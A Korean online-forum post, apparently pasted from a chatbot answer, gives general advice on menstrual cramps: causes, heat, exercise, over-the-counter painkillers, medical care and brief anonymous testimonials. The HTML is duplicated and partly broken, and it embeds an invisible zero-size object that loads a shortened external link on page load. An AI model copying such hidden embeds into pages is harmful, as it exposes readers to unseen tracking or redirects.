<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4"></object>
<div _ngcontent-ng-c3421901935="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:25">생리통, 극복하세요! 완화 방법 대방출!</h2><p data-sourcepos="3:1-3:141">생리통은 여성에게 흔한 증상이지만, 심한 경우 일상생활에 지장을 줄 수 있어 힘들 수 있습니다. 오늘은 심한 생리통을 완화하는 방법을 자세히 알아보고, <strong>실제 여성들의 리뷰</strong>와 함께 <strong>3가지 </strong>를 통해 시각적으로 이해하도록 도와드리겠습니다.</p><p data-sourcepos="5:1-5:14"><strong>1. 생리통의 원인</strong></p><p data-sourcepos="7:1-7:37">생리통은 크게 <strong>일차성</strong>과 <strong>이차성</strong>으로 나눌 수 있습니다.</p><ul data-sourcepos="9:1-12:0">
<li data-sourcepos="9:1-10:18"><strong>일차성 생리통:</strong> 특별한 질환 없이 자궁 내막에서 생성되는 프로스타글란딘이라는 물질 때문에 발생하는 생리통입니다. 청소년기에 시작하여 20대 후반까지 심각한 경우가 많으며, 점차 완화되는 경향이 있습니다.<div class="attachment-container search-images"><single-image _nghost-ng-c574435627="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///naraemedical01/223014262383"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="일차성 생리통 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSm_ae0TKcif6OdYzQl_6wIsvl1VgaAJOKtheiaou-mqmJm9KPXtsXFkFm8TdmT"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s:///naraemedical01/223014262383" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 일차성 생리통 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></li>
<li data-sourcepos="11:1-12:0"><strong>이차성 생리통:</strong> 자궁내막증, 자궁근종, 골반염 등의 질환이 원인이 되어 발생하는 생리통입니다. 생리 시작 전부터 통증이 시작되거나, 생리 후에도 지속되는 경우가 많습니다.</li>
</ul><p data-sourcepos="13:1-13:19"><strong>2. 심한 생리통 완화 방법</strong></p><p data-sourcepos="15:1-15:14"><strong>1) 생활습관 개선</strong></p><ul data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-18:22"><strong>따뜻한 물찜질:</strong> 복통 부위를 따뜻하게 해주면 근육 이완에 도움이 됩니다.<div class="attachment-container search-images"><single-image _nghost-ng-c574435627="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.gmarket.co.kr/n/search?keyword=%EC%83%9D%EB%A6%AC%ED%86%B5%EC%B0%9C%EC%A7%88&amp;s=1"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="생리통 따뜻한 물찜질 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRAWvv1w4zo5-qg4aKiNL5sq8ACZKGgYZL0TpBadWphp0Yo1QD4jPIvIJEFGvWb"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s://m.gmarket.co.kr/n/search?keyword=%EC%83%9D%EB%A6%AC%ED%86%B5%EC%B0%9C%EC%A7%88&amp;s=1" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTDSL1SCXBrnK9YbC7nPOhso7QO-BF0kXmos5_d0bVfgBUYMW2hA0VR571JaE4K9wE0MGFnJ2MsLkQ-tkuk1kTNhFVYR0MIogaa"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption">m.gmarket.co.kr</span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 생리통 따뜻한 물찜질 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></li>
<li data-sourcepos="19:1-19:74"><strong>규칙적인 운동:</strong> 걷기, 수영, 요가 등 가벼운 운동은 혈액 순환을 촉진하고 엔돌핀 분비를 늘려 통증 완화에 도움을 줍니다.</li>
<li data-sourcepos="20:1-20:73"><strong>충분한 휴식:</strong> 스트레스는 생리통을 악화시킬 수 있습니다. 충분한 수면과 휴식을 통해 스트레스를 관리하는 것이 중요합니다.</li>
<li data-sourcepos="21:1-22:0"><strong>건강한 식단:</strong> 생선, 채소, 과일 등 항염증 효과가 있는 식품을 섭취하고, 카페인, 알코올, 탄수화물이 풍부한 음식은 피하는 것이 좋습니다.</li>
</ul><p data-sourcepos="23:1-23:13"><strong>2) 진통제 복용</strong></p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:64"><strong>이부프로펜 또는 아세트아미노펜:</strong> 처방전 없이 구입할 수 있는 진통제로, 대부분의 여성들에게 효과적입니다.</li>
<li data-sourcepos="26:1-26:40"><strong>피부용 진통제:</strong> 복통 부위에 직접 발라 사용하는 진통제입니다.</li>
<li data-sourcepos="27:1-28:0"><strong>호르몬 치료:</strong> 심한 생리통으로 인해 일상생활에 지장을 받는 경우, 호르몬 치료를 고려할 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:14"><strong>3) 전문적인 치료</strong></p><ul data-sourcepos="31:1-32:0">
<li data-sourcepos="31:1-32:0"><strong>자궁내막증 또는 자궁근종 진단:</strong> 생리통이 심하고, 생리 시작 전부터 통증이 시작되거나 생리 후에도 지속되는 경우, 자궁내막증이나 자궁근종 등의 질환이 원인일 수 있습니다. 정확한 진단을 위해 산부인과 전문의를 만나 검사를 받는 것이 중요합니다.</li>
</ul><p data-sourcepos="33:1-33:18"><strong>3. 여성들의 생생한 리뷰</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:66"><strong>"따뜻한 물찜질이 정말 도움이 돼요. 복통 패드를 사용하면 더욱 효과적입니다."</strong> - 20대 OL 김<strong>씨</strong></li>
<li data-sourcepos="36:1-36:65"><strong>"저는 요가를 하면 생리통이 많이 나아져요. 스트레스 해소에도 도움이 돼요."</strong> - 30대 주부 박<strong>씨</strong></li>
<li data-sourcepos="37:1-38:0"><strong>"처방전 없이 살 수 있는 진통제를 복용하면 대부분의 통증이 사라져요. 심할 때는 산부인과에 가서 진료를 받기도 합니다."</strong> - 40대 회사원 이<strong>씨</strong></li>
</ul><p data-sourcepos="39:1-39:13"><strong>4. 요약</strong><div class="attachment-container search-images"><image-carousel _nghost-ng-c21701696="" ng-version="0.0.0-PLACEHOLDER"><single-image _ngcontent-ng-c21701696="" class="carousel-image ng-star-inserted" _nghost-ng-c574435627="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://newsroom.daewoong.co.kr/archives/5108"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="생리통 완화 방법 1 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSaJSkSv8ErDcHA4tanDv4wIGehOPt0kDDDyK5bUG9qLi4bNir4dUBnyHxHQFro"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><carousel-controls _ngcontent-ng-c21701696="" overlay="" _nghost-ng-c3218524611="" class="ng-star-inserted"><div _ngcontent-ng-c3218524611="" class="auto-hide-side-arrows"><!----><div _ngcontent-ng-c3218524611="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3218524611="" class="carousel-dots"><!----><div _ngcontent-ng-c3218524611="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3218524611="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c3218524611="" class="dot ng-star-inserted"></div><!----><!----></div><div _ngcontent-ng-c3218524611="" class="carousel-button-container previous swipeable-area"><!----></div><div _ngcontent-ng-c3218524611="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3218524611="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button gmat-mdc-button-with-prefix mat-unthemed mat-mdc-button-base gmat-mdc-button ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3218524611="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3218524611="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-mdc-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><!----></div></div><!----></div></carousel-controls><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s://newsroom.daewoong.co.kr/archives/5108" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcShnLURvf9E_-BUye0eW5IVWhFDkkEPcMLONKuPK01XaB6RA8UDse-eJylFPlAEq10jBII_BpELAlHPWJUD6CbTc_m-e58hUDgY4hBLZJn80sE"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption">newsroom.daewoong.co.kr</span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 생리통 완화 방법 1 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel></div></p><p data-sourcepos="45:1-45:12"><strong>5. 추가 정보</strong></p><ul data-sourcepos="47:1-48:16">
<li data-sourcepos="47:1-47:63"><strong>대한산부인과학회 홈페이지:</strong> <response-element class="" _nghost-ng-c424449397="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c424449397="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2268316764="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fc0deef35d9ac47a&quot;,&quot;c_7c1639d74ef85a10&quot;,null,&quot;rc_0fc70d1a1cddd875&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" ://ksuog.or.kr/">http://ksuog.or.kr/</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="48:1-48:16"><strong>여성건강정보포털:</strong></li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3421901935="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:25">생리통, 극복하세요! 완화 방법 대방출!</h2><p data-sourcepos="3:1-3:141">생리통은 여성에게 흔한 증상이지만, 심한 경우 일상생활에 지장을 줄 수 있어 힘들 수 있습니다. 오늘은 심한 생리통을 완화하는 방법을 자세히 알아보고, <strong>실제 여성들의 리뷰</strong>와 함께 <strong>3가지 </strong>를 통해 시각적으로 이해하도록 도와드리겠습니다.</p><p data-sourcepos="5:1-5:14"><strong>1. 생리통의 원인</strong></p><p data-sourcepos="7:1-7:37">생리통은 크게 <strong>일차성</strong>과 <strong>이차성</strong>으로 나눌 수 있습니다.</p><ul data-sourcepos="9:1-12:0">
<li data-sourcepos="9:1-10:18"><strong>일차성 생리통:</strong> 특별한 질환 없이 자궁 내막에서 생성되는 프로스타글란딘이라는 물질 때문에 발생하는 생리통입니다. 청소년기에 시작하여 20대 후반까지 심각한 경우가 많으며, 점차 완화되는 경향이 있습니다.<div class="attachment-container search-images"><single-image _nghost-ng-c574435627="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///naraemedical01/223014262383"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="일차성 생리통 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSm_ae0TKcif6OdYzQl_6wIsvl1VgaAJOKtheiaou-mqmJm9KPXtsXFkFm8TdmT"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s:///naraemedical01/223014262383" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 일차성 생리통 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></li>
<li data-sourcepos="11:1-12:0"><strong>이차성 생리통:</strong> 자궁내막증, 자궁근종, 골반염 등의 질환이 원인이 되어 발생하는 생리통입니다. 생리 시작 전부터 통증이 시작되거나, 생리 후에도 지속되는 경우가 많습니다.</li>
</ul><p data-sourcepos="13:1-13:19"><strong>2. 심한 생리통 완화 방법</strong></p><p data-sourcepos="15:1-15:14"><strong>1) 생활습관 개선</strong></p><ul data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-18:22"><strong>따뜻한 물찜질:</strong> 복통 부위를 따뜻하게 해주면 근육 이완에 도움이 됩니다.<div class="attachment-container search-images"><single-image _nghost-ng-c574435627="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.gmarket.co.kr/n/search?keyword=%EC%83%9D%EB%A6%AC%ED%86%B5%EC%B0%9C%EC%A7%88&s=1"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="생리통 따뜻한 물찜질 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRAWvv1w4zo5-qg4aKiNL5sq8ACZKGgYZL0TpBadWphp0Yo1QD4jPIvIJEFGvWb"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s://m.gmarket.co.kr/n/search?keyword=%EC%83%9D%EB%A6%AC%ED%86%B5%EC%B0%9C%EC%A7%88&s=1" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTDSL1SCXBrnK9YbC7nPOhso7QO-BF0kXmos5_d0bVfgBUYMW2hA0VR571JaE4K9wE0MGFnJ2MsLkQ-tkuk1kTNhFVYR0MIogaa"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption">m.gmarket.co.kr</span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 생리통 따뜻한 물찜질 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></li>
<li data-sourcepos="19:1-19:74"><strong>규칙적인 운동:</strong> 걷기, 수영, 요가 등 가벼운 운동은 혈액 순환을 촉진하고 엔돌핀 분비를 늘려 통증 완화에 도움을 줍니다.</li>
<li data-sourcepos="20:1-20:73"><strong>충분한 휴식:</strong> 스트레스는 생리통을 악화시킬 수 있습니다. 충분한 수면과 휴식을 통해 스트레스를 관리하는 것이 중요합니다.</li>
<li data-sourcepos="21:1-22:0"><strong>건강한 식단:</strong> 생선, 채소, 과일 등 항염증 효과가 있는 식품을 섭취하고, 카페인, 알코올, 탄수화물이 풍부한 음식은 피하는 것이 좋습니다.</li>
</ul><p data-sourcepos="23:1-23:13"><strong>2) 진통제 복용</strong></p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:64"><strong>이부프로펜 또는 아세트아미노펜:</strong> 처방전 없이 구입할 수 있는 진통제로, 대부분의 여성들에게 효과적입니다.</li>
<li data-sourcepos="26:1-26:40"><strong>피부용 진통제:</strong> 복통 부위에 직접 발라 사용하는 진통제입니다.</li>
<li data-sourcepos="27:1-28:0"><strong>호르몬 치료:</strong> 심한 생리통으로 인해 일상생활에 지장을 받는 경우, 호르몬 치료를 고려할 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:14"><strong>3) 전문적인 치료</strong></p><ul data-sourcepos="31:1-32:0">
<li data-sourcepos="31:1-32:0"><strong>자궁내막증 또는 자궁근종 진단:</strong> 생리통이 심하고, 생리 시작 전부터 통증이 시작되거나 생리 후에도 지속되는 경우, 자궁내막증이나 자궁근종 등의 질환이 원인일 수 있습니다. 정확한 진단을 위해 산부인과 전문의를 만나 검사를 받는 것이 중요합니다.</li>
</ul><p data-sourcepos="33:1-33:18"><strong>3. 여성들의 생생한 리뷰</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:66"><strong>"따뜻한 물찜질이 정말 도움이 돼요. 복통 패드를 사용하면 더욱 효과적입니다."</strong> - 20대 OL 김<strong>씨</strong></li>
<li data-sourcepos="36:1-36:65"><strong>"저는 요가를 하면 생리통이 많이 나아져요. 스트레스 해소에도 도움이 돼요."</strong> - 30대 주부 박<strong>씨</strong></li>
<li data-sourcepos="37:1-38:0"><strong>"처방전 없이 살 수 있는 진통제를 복용하면 대부분의 통증이 사라져요. 심할 때는 산부인과에 가서 진료를 받기도 합니다."</strong> - 40대 회사원 이<strong>씨</strong></li>
</ul><p data-sourcepos="39:1-39:13"><strong>4. 요약</strong><div class="attachment-container search-images"><image-carousel _nghost-ng-c21701696="" ng-version="0.0.0-PLACEHOLDER"><single-image _ngcontent-ng-c21701696="" class="carousel-image ng-star-inserted" _nghost-ng-c574435627="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c574435627="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c574435627="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c574435627="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2268316764="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://newsroom.daewoong.co.kr/archives/5108"><span _ngcontent-ng-c2268316764="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c574435627="" class="image loaded" alt="생리통 완화 방법 1 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSaJSkSv8ErDcHA4tanDv4wIGehOPt0kDDDyK5bUG9qLi4bNir4dUBnyHxHQFro"></span><span _ngcontent-ng-c2268316764="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><carousel-controls _ngcontent-ng-c21701696="" overlay="" _nghost-ng-c3218524611="" class="ng-star-inserted"><div _ngcontent-ng-c3218524611="" class="auto-hide-side-arrows"><!----><div _ngcontent-ng-c3218524611="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3218524611="" class="carousel-dots"><!----><div _ngcontent-ng-c3218524611="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3218524611="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c3218524611="" class="dot ng-star-inserted"></div><!----><!----></div><div _ngcontent-ng-c3218524611="" class="carousel-button-container previous swipeable-area"><!----></div><div _ngcontent-ng-c3218524611="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3218524611="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button gmat-mdc-button-with-prefix mat-unthemed mat-mdc-button-base gmat-mdc-button ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3218524611="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3218524611="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-mdc-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><!----></div></div><!----></div></carousel-controls><!----><a _ngcontent-ng-c574435627="" rel="noopener" class="source ng-star-inserted" s://newsroom.daewoong.co.kr/archives/5108" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c574435627="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcShnLURvf9E_-BUye0eW5IVWhFDkkEPcMLONKuPK01XaB6RA8UDse-eJylFPlAEq10jBII_BpELAlHPWJUD6CbTc_m-e58hUDgY4hBLZJn80sE"><!----><span _ngcontent-ng-c574435627="" class="label ellipsis gmat-caption">newsroom.daewoong.co.kr</span><span _ngcontent-ng-c574435627="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c574435627="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 생리통 완화 방법 1 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel></div></p><p data-sourcepos="45:1-45:12"><strong>5. 추가 정보</strong></p><ul data-sourcepos="47:1-48:16">
<li data-sourcepos="47:1-47:63"><strong>대한산부인과학회 홈페이지:</strong> <response-element class="" _nghost-ng-c424449397="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c424449397="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2268316764="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_fc0deef35d9ac47a","c_7c1639d74ef85a10",null,"rc_0fc70d1a1cddd875",null,null,"ko",null,null,null,null,1,0]]" ://ksuog.or.kr/">http://ksuog.or.kr/</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="48:1-48:16"><strong>여성건강정보포털:</strong></li>
</ul></div>
</div></div>
<!-- -->
]]>
카페 게시글
지식 게시판
생리통 심한 이유 완화 방법 알아봐요
오민경
추천 0
조회 48
24.07.20 02:48
댓글 0
다음검색
